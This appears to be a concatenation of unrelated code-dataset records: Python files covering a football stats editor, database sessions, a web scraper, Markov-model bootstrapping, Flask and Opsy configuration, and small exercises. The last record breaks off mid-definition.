listadef[rig][66]=cccros;#cccross\n #lista[rig][28]=str(0);#position10\n return listadef;\n\n def FmGameplayization(self,listadef,lista,listaps,listaid,StMx): \n for rig in range(0,len(lista)):\n teamid = int(listadef[rig][54]);\n #dd = (listadef[rig][8]);\n #cc = (listadef[rig][34]);\n #aa = (listadef[rig][30]);\n pos0 = int(listadef[rig][60]);\n pos1 = int(listadef[rig][63]);\n pos2 = int(listadef[rig][55]);\n pos3 = int(listadef[rig][58]);\n pos4 = int(listadef[rig][57]);\n pos5 = int(listadef[rig][52]);\n pos6 = int(listadef[rig][49]);\n pos7 = int(listadef[rig][62]);\n pos8 = int(listadef[rig][51]);\n pos9 = int(listadef[rig][61]);\n pos10 = int(listadef[rig][48]);\n gg=0;dd=0;mm=0;cc=0;tt=0;aa=0;\n formationposition = [pos0,pos1,pos2,pos3,pos4,pos5,pos6,pos7,pos8,pos9,pos10];\n for x in formationposition:\n if(x==0):\n gg=gg+1;\n elif(x>=2 and x<=8):\n dd=dd+1;\n elif(x>=9 and x<=11):\n mm=mm+1;\n elif(x>=12 and x<=16):\n cc=cc+1\n elif(x>=17 and x<=19):\n tt=tt+1\n elif(x>=20 and x<=27):\n aa=aa+1 \n try:\n psposition0 = listaps[listaid.index(int(lista[rig][26]))];\n except ValueError:\n psposition0 = 7;\n try:\n psposition1 = listaps[listaid.index(int(lista[rig][37]))];\n except ValueError:\n psposition1 = 15;\n try:\n psposition2 = listaps[listaid.index(int(lista[rig][64]))];\n except ValueError:\n psposition2 = 23;\n try:\n psposition3 = listaps[listaid.index(int(lista[rig][94]))];\n except ValueError:\n psposition3 = 31;\n try:\n psposition4 = listaps[listaid.index(int(lista[rig][84]))];\n except ValueError:\n psposition4 = 39;\n try:\n psposition5 = listaps[listaid.index(int(lista[rig][54]))];\n except ValueError:\n psposition5 = 47;\n try:\n psposition6 = listaps[listaid.index(int(lista[rig][50]))];\n except ValueError:\n psposition6 = 55;\n try:\n psposition7 = listaps[listaid.index(int(lista[rig][43]))];\n except ValueError:\n psposition7 = 63;\n try:\n psposition8 = listaps[listaid.index(int(lista[rig][57]))];\n except ValueError:\n psposition8 = 71;\n try:\n psposition9 = listaps[listaid.index(int(lista[rig][28]))];\n except ValueError:\n psposition9 = 79;\n try:\n psposition10 = listaps[listaid.index(int(lista[rig][121]))];\n except ValueError:\n psposition10 = 87;\n offr = 0;\n listadef[rig][26]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][38]=self.posizionatore(pos0,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][40]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][45]=self.posizionatore(pos1,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][7]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][10]=self.posizionatore(pos2,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][17]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][21]=self.posizionatore(pos3,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][23]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][41]=self.posizionatore(pos4,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][37]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][3]=self.posizionatore(pos5,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][0]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][14]=self.posizionatore(pos6,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][15]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][25]=self.posizionatore(pos7,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][18]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][28]=self.posizionatore(pos8,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][33]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][43]=self.posizionatore(pos9,offr,dd,mm,cc,tt,aa)[1];\n listadef[rig][6]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[0];\n listadef[rig][19]=self.posizionatore(pos10,offr,dd,mm,cc,tt,aa)[1];\n #listadef[rig][39]=str(-2147483648+int(StMx[32][psposition0]));\n listadef[rig][39]=str(-0+int(StMx[32][psposition0]));\n listadef[rig][4]=str(-0+int(StMx[32][psposition1]));\n listadef[rig][46]=str(-0+int(StMx[32][psposition2]));\n listadef[rig][2]=str(-0+int(StMx[32][psposition3]));\n listadef[rig][35]=str(-0+int(StMx[32][psposition4]));\n listadef[rig][24]=str(-0+int(StMx[32][psposition5]));\n listadef[rig][27]=str(-0+int(StMx[32][psposition6]));\n listadef[rig][16]=str(-0+int(StMx[32][psposition7]));\n listadef[rig][22]=str(-0+int(StMx[32][psposition8]));\n listadef[rig][9]=str(-0+int(StMx[32][psposition9]));\n listadef[rig][1]=str(-0+int(StMx[32][psposition10]));\n #lista[rig][28]=str(0);#position10\n return listadef;\n\n #Salva sul file di testo, con parametri nome del file, la prima colonna e il resto delle stats\n def Salva(self,fileo,columnname,lista):\n testo='';\n print(\"saved: \"+str(contarighe)+\" rows.\");\n o = codecs.open(fileo,'w',encoding='utf-16');\n columnname = columnname+'\\r\\n';\n o.write(columnname);\n for rig in range(0,contarighe-1):\n testo='';\n for col in range(0,contacolonne):\n #testo = testo+str(lista[rig][col])+'\\t';\n testo = testo+lista[rig][col]+'\\t';\n testo = testo + '\\r\\n';\n '''print(testo);'''\n o.write(testo);\n o.close();\n return;\n \napp = QtGui.QApplication(sys.argv)\nmain = MainWindow()\nmain.show()\nsys.exit(app.exec_())\n","sub_path":"gameplayzer16.pyw","file_name":"gameplayzer16.pyw","file_ext":"pyw","file_size_in_byte":131640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"585420971","text":"# -*- coding: utf-8 -*-\n# @Time : 18-12-18 下午3:45\n# @Author : Fuhz\n# @Email : \n# @File : __init__.py.py\n# ---------------------\nfrom contextlib import contextmanager\n\nimport redis as redis\nfrom sqlalchemy import create_engine, event\nfrom sqlalchemy.exc import DisconnectionError\nfrom sqlalchemy.orm import sessionmaker\n\nfrom app import config\n\n#\n# SETTINGS = config[\"default\"]\n# redis_pool = redis.ConnectionPool(host=SETTINGS.REDIS_HOST, port=SETTINGS.REDIS_PORT, db=0, password=SETTINGS.REDIS_PASSWD, encoding='utf-8')\n# redis_client = redis.Redis(connection_pool=redis_pool)\n\n\ndef checkout_listener(dbapi_con, con_record, con_proxy):\n try:\n try:\n dbapi_con.ping(False)\n except TypeError:\n dbapi_con.ping()\n except dbapi_con.OperationalError as exc:\n if exc.args[0] in (2006, 2013, 2014, 2045, 2055):\n raise DisconnectionError()\n else:\n raise\n\n\ndef session_factory(db_uri=config['default'].SQLALCHEMY_DATABASE_URI):\n engine = create_engine(db_uri, echo=config[\"default\"].PRINT_SQL,pool_size = 100, pool_recycle=3600)\n event.listen(engine, 'checkout', checkout_listener)\n return sessionmaker(bind=engine)\n\n\nSession = session_factory()\n\n@contextmanager\ndef action_session():\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n session = Session()\n try:\n yield session\n session.commit()\n except Exception as e:\n session.rollback()\n raise e\n finally:\n session.close()\n\n\n@contextmanager\ndef query_session():\n session = Session()\n try:\n yield session\n except Exception as e:\n raise e\n finally:\n session.close()","sub_path":"app/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"166847942","text":"from wiencal import Scraper, Event, Result\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nfrom typing import Coroutine\nimport aiohttp\n\n\nclass GegenDieLangeweile(Scraper):\n \"\"\"Scrape events from gegendielangeweile.net\"\"\"\n\n def __init__(self):\n super().__init__()\n\n async def initial_url(self) -> [Coroutine]:\n async with aiohttp.ClientSession() as session:\n url = 'https://www.gegendielangeweile.net/termine/'\n html = await self.fetch(session, url)\n soup = BeautifulSoup(html, 'html.parser')\n\n tasks = []\n\n for h in soup.find_all('a', class_='ai1ec-event-container'):\n tasks.append(self.scrape_url(h['href']))\n\n return tasks\n\n async def scrape_url(self, url: str) -> Result:\n async with aiohttp.ClientSession() as session:\n html = await self.fetch(session, url)\n soup = BeautifulSoup(html, 'html.parser')\n\n name = soup.find('h1', class_='entry-title').get_text()\n location = ''\n date_start = datetime.fromisoformat(\n soup.find('div', class_='dt-start').get_text()\n )\n date_end = datetime.fromisoformat(\n soup.find('div', class_='dt-end').get_text()\n )\n description = []\n for p in soup.find('div', class_='entry-content').find_all('p'):\n description.append(p.get_text().strip())\n description = \"\\n\\n\".join(description)\n\n return Result(self.__class__.get_name(), [\n Event(name=name,\n start=date_start,\n end=date_end,\n location=location,\n description=description),\n ])\n\n def get_name() -> str:\n return 'gegendielangeweile'\n","sub_path":"wiencal/scrapers/gegendielangeweile.py","file_name":"gegendielangeweile.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"610503179","text":"\"\"\"Tests to see if values of hamming strands are different\"\"\"\n\ndef distance(strand_a, strand_b):\n \"\"\"Tests to find hamming distance\"\"\"\n\n mismatch = []\n\n length_a, length_b = len(strand_a), len(strand_b)\n\n if length_a != length_b:\n raise ValueError(\"The lengths of the two strands are not the same\")\n\n if strand_a == '' or strand_b == '':\n return 0\n\n for i, _ in enumerate(strand_a):\n if strand_a[i] != strand_b[i]:\n mismatch.append(strand_a[i])\n\n return len(mismatch)\n","sub_path":"python/hamming/hamming.py","file_name":"hamming.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"561697381","text":"\n# Copyright (c) 2015, 2014 Computational Molecular Biology Group, Free University\n# Berlin, 14195 Berlin, Germany.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n'''\nCreated on Jul 23, 2014\n\n@author: noe\n'''\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport numpy as np\nimport scipy\nfrom scipy.stats import rv_discrete\nimport random\nimport six\nfrom six.moves import range\n\n\n# By FN\ndef number_of_states(dtrajs):\n r\"\"\"\n Determine the number of states from a set of discrete trajectories\n\n Parameters\n ----------\n dtrajs : list of int-arrays\n discrete trajectories\n \"\"\"\n # determine number of states n\n nmax = 0\n for dtraj in dtrajs:\n nmax = max(nmax, np.max(dtraj))\n # return number of states\n return nmax + 1\n\n\ndef determine_lengths(dtrajs):\n r\"\"\"\n Determines the lengths of all trajectories\n\n Parameters\n ----------\n dtrajs : list of int-arrays\n discrete trajectories\n \"\"\"\n if (isinstance(dtrajs[0], (int))):\n return len(dtrajs) * np.ones((1))\n lengths = np.zeros((len(dtrajs)))\n for i in range(len(dtrajs)):\n lengths[i] = len(dtrajs[i])\n return lengths\n\n\ndef bootstrap_trajectories(trajs, correlation_length):\n \"\"\"\n Generates a randomly resampled count matrix given the input coordinates.\n\n See API function for full documentation.\n \"\"\"\n # if we have just one trajectory, put it into a one-element list:\n if (isinstance(trajs[0], (int, int, float))):\n trajs = [trajs]\n ntraj = len(trajs)\n\n # determine correlation length to be used\n lengths = determine_lengths(trajs)\n Ltot = np.sum(lengths)\n Lmax = np.max(lengths)\n if (correlation_length < 1):\n correlation_length = Lmax\n\n # assign probabilites to select trajectories\n w_trajs = np.zeros((len(trajs)))\n for i in range(ntraj):\n w_trajs[i] = len(trajs[i])\n w_trajs /= np.sum(w_trajs) # normalize to sum 1.0\n distrib_trajs = rv_discrete(values=(list(range(ntraj)), w_trajs))\n\n # generate subtrajectories\n Laccum = 0\n subs = []\n while (Laccum < Ltot):\n # pick a random trajectory\n itraj = distrib_trajs.rvs()\n # pick a starting frame\n t0 = random.randint(0, max(1, len(trajs[itraj]) - correlation_length))\n t1 = min(len(trajs[itraj]), t0 + correlation_length)\n # add new subtrajectory\n subs.append(trajs[itraj][t0:t1])\n # increment available states\n Laccum += (t1 - t0)\n\n # and return\n return subs\n\n\ndef bootstrap_counts_singletraj(dtraj, lagtime, n):\n \"\"\"\n Samples n counts at the given lagtime from the given trajectory\n \"\"\"\n # check if length is sufficient\n L = len(dtraj)\n if (lagtime > L):\n raise ValueError(\n 'Cannot sample counts with lagtime ' + str(lagtime) + ' from a trajectory with length ' + str(L))\n # sample\n I = np.random.random_integers(0, L - lagtime - 1, size=n)\n J = I + lagtime\n\n # return state pairs\n return (dtraj[I], dtraj[J])\n\n\ndef bootstrap_counts(dtrajs, lagtime, corrlength=None):\n \"\"\"\n Generates a randomly resampled count matrix given the input coordinates.\n\n See API function for full documentation.\n \"\"\"\n # if we have just one trajectory, put it into a one-element list:\n if (isinstance(dtrajs[0], six.integer_types)):\n dtrajs = [dtrajs]\n ntraj = len(dtrajs)\n\n # can we do the estimate?\n lengths = determine_lengths(dtrajs)\n Lmax = np.max(lengths)\n Ltot = np.sum(lengths)\n if (lagtime >= Lmax):\n raise ValueError('Cannot estimate count matrix: lag time '\n + str(lagtime) + ' is longer than the longest trajectory length ' + str(Lmax))\n\n # how many counts can we sample?\n if corrlength is None:\n corrlength = lagtime\n nsample = int(Ltot / corrlength)\n\n # determine number of states n\n n = number_of_states(dtrajs)\n\n # assigning trajectory sampling weights\n w_trajs = np.maximum(0.0, lengths - lagtime)\n w_trajs /= np.sum(w_trajs) # normalize to sum 1.0\n distrib_trajs = rv_discrete(values=(list(range(ntraj)), w_trajs))\n # sample number of counts from each trajectory\n n_from_traj = np.bincount(distrib_trajs.rvs(size=nsample), minlength=ntraj)\n\n # for each trajectory, sample counts and stack them\n rows = np.zeros((nsample))\n cols = np.zeros((nsample))\n ones = np.ones((nsample))\n ncur = 0\n for i in range(len(n_from_traj)):\n if n_from_traj[i] > 0:\n (r, c) = bootstrap_counts_singletraj(dtrajs[i], lagtime, n_from_traj[i])\n rows[ncur:ncur + n_from_traj[i]] = r\n cols[ncur:ncur + n_from_traj[i]] = c\n ncur += n_from_traj[i]\n # sum over counts\n Csparse = scipy.sparse.coo_matrix((ones, (rows, cols)), shape=(n, n))\n\n return Csparse.tocsr()","sub_path":"msmtools/estimation/dense/bootstrapping.py","file_name":"bootstrapping.py","file_ext":"py","file_size_in_byte":6102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"322047243","text":"# Configuration file for the Sphinx documentation builder.\n\nimport sys\nsys.path.append('..')\n\nfrom baseconf import *\n\nproject = 'GNU Offloading and Multi Processing Runtime Library'\ncopyright = '2006-2021 Free Software Foundation, Inc.'\nauthors = 'GCC Developer Community'\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\nlatex_documents = [\n ('index', 'libgomp.tex', project, authors, 'manual'),\n]\n","sub_path":"scripts/templates/libgomp/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"72400788","text":"\"\"\"Utility function to define the project root consistently\n\"\"\"\n\nimport os\nimport sys\n\nif __file__:\n file_path = os.path.realpath(__file__)\n ROOT_DIR = os.path.dirname(os.path.dirname(file_path))\n print('ROOT_DIR is:', ROOT_DIR)\nelse:\n print('File run interactively. ROOT_DIR will be empty')\n ROOT_DIR = ''\n","sub_path":"utilities/root_dir.py","file_name":"root_dir.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"386156940","text":"from bson.json_util import dumps\nfrom flask import Flask, jsonify\nfrom flask import Response\nfrom flask import request\nfrom flask_pymongo import PyMongo\nfrom nltk import word_tokenize\n\napp = Flask(__name__)\n\napp.config['MONGO_DBNAME']='iperiscope'\napp.config['MONGO_URI']='mongodb://localhost:27017/iperiscope'\nmongo=PyMongo(app)\ndef globalVariables():\n clients = mongo.db.client_details\n return clients\ndef toJson(data):\n js = dumps(data)\n resp = Response(js, status=200, mimetype='application/json')\n return resp\n@app.route('/clients',methods=['GET'])\ndef get_all_clients():\n #q=globalVariables().find()\n q={\n \"speech\":\"There are 20 clients\",\n \"displayText\":\" There are 20 clients\"\n }\n return toJson(q)\n@app.route('/clients/',methods=['GET'])\ndef get_one_client(name):\n\n q=globalVariables().find_one({'firstName':name})\n return toJson(q)\n\n@app.route('/clients',methods=['POST'])\ndef insert_clients():\n req = request.get_json(silent=True, force=True)\n name=req.get(\"metadata\").get(\"intentName\")\n #received=request.json['name']\n return { \"speech\":name,\n \"displayText\":name}\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"456817417","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn import preprocessing\nfrom numpy import nan\nfrom matplotlib import pyplot as plt\n\nINVERTERS = {1: '1BY6WEcLGh8j5v7', 2: '1IF53ai7Xc0U56Y', 3: '3PZuoBAID5Wc2HD', 4: '7JYdWkrLSPkdwr4',\n 5: 'McdE0feGgRqW7Ca', 6: 'VHMLBKoKgIrUVDU', 7: 'WRmjgnKYAwPKWDb', 8: 'ZnxXDlPa8U1GXgE',\n 9: 'ZoEaEvLYb1n2sOq', 10: 'adLQvlD726eNBSB', 11: 'bvBOhCH3iADSZry', 12: 'iCRJl6heRkivqQ3',\n 13: 'ih0vzX44oOqAx2f', 14: 'pkci93gMrogZuBj', 15: 'rGa61gmuvPhdLxV', 16: 'sjndEbLyjtCKgGv',\n 17: 'uHbuxQJl8lW7ozc', 18: 'wCURE6d3bPkepu2', 19: 'z9Y9gH1T5YWrNuG', 20: 'zBIq5rxdHJRwDNY',\n 21: 'zVJPv84UY57bAof', 22: 'YxYtjZvoooNbGkE'}\n\nINVERTERS_REV = {'1BY6WEcLGh8j5v7': 1,'1IF53ai7Xc0U56Y': 2,'3PZuoBAID5Wc2HD': 3,'7JYdWkrLSPkdwr4': 4,\n 'McdE0feGgRqW7Ca': 5,'VHMLBKoKgIrUVDU': 6,'WRmjgnKYAwPKWDb': 7,'ZnxXDlPa8U1GXgE': 8,\n 'ZoEaEvLYb1n2sOq': 9,'adLQvlD726eNBSB': 10,'bvBOhCH3iADSZry': 11,'iCRJl6heRkivqQ3': 12,\n 'ih0vzX44oOqAx2f': 13,'pkci93gMrogZuBj': 14,'rGa61gmuvPhdLxV': 15,'sjndEbLyjtCKgGv': 16,\n 'uHbuxQJl8lW7ozc': 17,'wCURE6d3bPkepu2': 18,'z9Y9gH1T5YWrNuG': 19,'zBIq5rxdHJRwDNY': 20,\n 'zVJPv84UY57bAof': 21,'YxYtjZvoooNbGkE': 22}\n\n# Create training and testing datasets\ntrain = pd.read_csv(r\"C:\\Users\\Admin\\Desktop\\Programming Applications and Projects\\Datasets\\Plant_1_Generation_Data.csv\")\n\ntest = pd.read_csv(r\"C:\\Users\\Admin\\Desktop\\Programming Applications and Projects\\Datasets\\Plant_1_Generation_Data.csv\")\n\n# Replaces inverter source key with numerical value 1-22\ntrain.SOURCE_KEY = [INVERTERS_REV[item] for item in train.SOURCE_KEY]\ntest.SOURCE_KEY = [INVERTERS_REV[item] for item in test.SOURCE_KEY]\n\nplt.scatter(train['SOURCE_KEY'][-22:], train['TOTAL_YIELD'][-22:])\nplt.xlabel('Inverter')\nplt.ylabel('Total Power Output')\nplt.xticks(np.arange(1, 23, step=1))\nplt.title('Total Power Output per Inverter - May 2015')\nplt.show()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"339077130","text":"import os.path\nfrom collections import namedtuple\nfrom functools import partial\nfrom opsy.flask_extensions import iniconfig\nfrom opsy.exceptions import NoConfigFile, NoConfigSection, MissingConfigOption\n\nMappedFlaskConfigOption = namedtuple( # pylint: disable=invalid-name\n 'ConfigOption', ['flask_mapping', 'name', 'type', 'required', 'default'])\n'''\nflask_mapping: map this config option to this global level flask config.\nname: the name of the config option.\ntype: expected type from the config file.\nrequired: will complain if true and the option is missing from the config.\ndefault: the default value to set this to if it is missing from the config.\n'''\n\nConfigOption = partial( # pylint: disable=invalid-name\n MappedFlaskConfigOption, None)\n\nDEFAULT_FLASK_CONFIG = {\n 'SQLALCHEMY_TRACK_MODIFICATIONS': False,\n 'JSON_SORT_KEYS': False\n}\n\nCONFIG_OPTIONS = [\n MappedFlaskConfigOption('SECRET_KEY', 'secret_key', str, True, None),\n MappedFlaskConfigOption('SQLALCHEMY_DATABASE_URI', 'database_uri', str,\n True, None),\n ConfigOption('enabled_plugins', list, False, None),\n ConfigOption('scheduler_grace_time', int, False, 10),\n ConfigOption('log_file', str, False, None),\n ConfigOption('session_token_ttl', int, False, 86400),\n ConfigOption('base_permissions', list, False, []),\n ConfigOption('logged_in_permissions', list, False, []),\n ConfigOption('enable_ldap', bool, False, False),\n ConfigOption('ldap_user_full_name_attr', str, False, 'displayName'),\n ConfigOption('ldap_user_email_attr', str, False, 'mail'),\n ConfigOption('ldap_group_name_attr', str, False, 'cn')\n]\n\n\ndef validate_config(app, plugin=None):\n if plugin:\n section_name = plugin.name\n config_options = plugin.config_options\n else:\n section_name = 'opsy'\n config_options = CONFIG_OPTIONS\n if not hasattr(app.config, section_name):\n if any([x.required for x in config_options]):\n raise NoConfigSection('Config section \"%s\" does not exist in '\n 'config file \"%s\".' % (section_name,\n app.config_file))\n setattr(app.config, section_name, {})\n section_config = getattr(app.config, section_name)\n for option in config_options:\n if not section_config.get(option.name):\n if option.required:\n raise MissingConfigOption('Required config option \"%s\" missing'\n ' from config section \"%s\" in config'\n ' file \"%s\".' % (\n option.name, section_name,\n app.config_file))\n section_config[option.name] = option.default\n if (section_config[option.name] is not None and not\n isinstance(section_config[option.name], option.type)):\n raise TypeError('Expected \"%s\" type for config option \"%s\" from '\n 'config section \"%s\" in config file \"%s\".' % (\n option.type.__name__, option.name,\n section_name, app.config_file))\n if option.flask_mapping:\n app.config[option.flask_mapping] = section_config[option.name]\n section_config.pop(option.name)\n\n\ndef load_config(app, config_file):\n for key, value in DEFAULT_FLASK_CONFIG.items():\n app.config[key] = value\n iniconfig.init_app(app)\n if not os.path.exists(config_file):\n raise NoConfigFile('Config file \"%s\" does not exist.' % config_file)\n app.config_file = config_file\n app.config.from_inifile(app.config_file, objectify=True)\n validate_config(app)\n","sub_path":"opsy/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"242370110","text":"# coding:utf8\nimport gevent, time\nfrom feather.util.profile import Profile\nfrom feather.internal import addClusterServiceProxy, RemoteService\n\nloginWebService = addClusterServiceProxy('loginWeb', 'login', 'web')\ngameWebService = RemoteService('web')\n\n\ndef testLocalRpc():\n beginTime = time.time()\n while time.time() - beginTime < 100:\n gameWebService.call('testAdd', 1, 2)\n\ndef testRemoteRpc():\n while not loginWebService.isOnline():\n gevent.sleep(1)\n\n beginTime = time.time()\n while time.time() - beginTime < 100:\n loginWebService.call('testAdd', 1, 2)\n\n\ngList = []\n#Profile().init('start', './')\nfor i in xrange(10):\n gList.append(gevent.spawn(testLocalRpc))\n gList.append(gevent.spawn(testRemoteRpc))\n\n\ndef profile():\n gevent.joinall(gList)\n Profile().stop()\n\n\ngevent.spawn(profile)\n","sub_path":"examples/game/app/game/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"210600049","text":"from django.shortcuts import render_to_response\nfrom forms import SearchForm\nfrom sarpaminfohub.infohub.results_table import ResultsTable\nfrom sarpaminfohub.infohub.drug_searcher import DrugSearcher\nfrom sarpaminfohub.infohub.django_backend import DjangoBackend\nfrom sarpaminfohub.infohub.test_backend import TestBackend\nfrom sarpaminfohub.infohub.formulation_table import FormulationTable\nfrom sarpaminfohub.infohub.formulation_graph import FormulationGraph\nimport re\nfrom sarpaminfohub.infohub.supplier_table import SupplierTable\n\ndef get_backend(name):\n if name == \"test\":\n backend = TestBackend()\n else:\n backend = DjangoBackend()\n\n return backend\n\ndef search(request):\n search_term = request.GET.get('search', None)\n \n initial_form_values = {'search' : search_term} \n\n if search_term is not None:\n backend_name = request.GET.get('backend', \"django\")\n \n backend = get_backend(backend_name)\n \n drug_searcher = DrugSearcher(backend)\n rows = drug_searcher.get_formulations_that_match(search_term)\n \n results_table = ResultsTable(rows, search_term)\n else:\n results_table = None\n \n search_form = SearchForm(initial = initial_form_values)\n \n return render_to_response('search.html', \n {'search_form': search_form,\n 'results_table': results_table})\n \ndef formulation(request, formulation_id, backend_name=\"django\"):\n backend = get_backend(backend_name)\n\n drug_searcher = DrugSearcher(backend)\n rows = drug_searcher.get_prices_for_formulation_with_id(formulation_id)\n\n # Don't like that, but results is being changed in the constructor of the table.\n from copy import deepcopy\n rows_graph = deepcopy(rows)\n\n formulation_name = drug_searcher.get_formulation_name_with_id(formulation_id)\n formulation_msh = drug_searcher.get_formulation_msh_with_id(formulation_id)\n\n formulation_table = FormulationTable(rows)\n formulation_graph = FormulationGraph(rows_graph, formulation_msh)\n\n results_href = None\n\n referer = request.META.get('HTTP_REFERER')\n\n if referer is not None:\n referer_parts = re.sub('^https?:\\/\\/', '', referer).split('/')\n\n referer_host = referer_parts[0]\n\n if referer_host == '' or referer_host == request.META.get('HTTP_HOST'):\n results_href = referer\n\n search_form = SearchForm()\n\n return render_to_response('formulation.html',\n {'formulation_table': formulation_table,\n 'formulation_graph': formulation_graph,\n 'formulation_name': formulation_name,\n 'formulation_msh': formulation_msh,\n 'results_href' : results_href,\n 'search_form' : search_form});\n\ndef supplier(request, formulation_id, backend_name=\"django\"):\n backend = get_backend(backend_name)\n \n drug_searcher = DrugSearcher(backend)\n \n rows = drug_searcher.get_products_based_on_formulation_with_id(formulation_id)\n \n supplier_table = SupplierTable(rows)\n \n return render_to_response('formulation_suppliers.html',\n {'supplier_table':supplier_table})\n","sub_path":"django/sarpaminfohub/infohub/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"618899147","text":"class Solution(object):\n def merge(self,nums1,m,nums2,n):\n indx1=m-1\n indx2=n-1\n i=1\n while indx2>=0:\n if indx1>=0:\n if nums1[indx1]>=nums2[indx2]:\n nums1[m+n-i]=nums1[indx1]\n indx1-=1\n else:\n nums1[m+n-i]=nums2[indx2]\n indx2-=1\n else:\n nums1[m+n-i]=nums2[indx2]\n indx2-=1\n i+=1\n\nnums1=[2,3,0]\nm=2\nnums2=[1]\nn=1\ns=Solution()\ns.merge(nums1,m,nums2,n)\nprint (nums1)\n\n","sub_path":"MergeSortedArray.py","file_name":"MergeSortedArray.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"415295067","text":"import pandas as pd\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport math\n\nif __name__ == \"__main__\":\n from multiprocessing import Process, Queue\n import sys\n import os\n import pandas as pd\n from jinja2 import Template\n from dateutil.parser import parse as dateparse\n from hyperopt import fmin, tpe, hp\n\n sys.path.append(\"D:\\\\Program Files\\\\Tinysoft\\\\Analyse.NET\")\n import TSLPy3 as ts\n\n\nclass TsTickData(object):\n\n def __enter__(self):\n if ts.Logined() is False:\n print('天软未登陆或客户端未打开,将执行登陆操作')\n self.__tsLogin()\n return self\n\n def __tsLogin(self):\n ts.ConnectServer(\"tsl.tinysoft.com.cn\", 443)\n dl = ts.LoginServer(\"fzzqjyb\", \"fz123456\")\n print('天软登陆成功')\n\n def __exit__(self, *arg):\n ts.Disconnect()\n print('天软连接断开')\n\n def 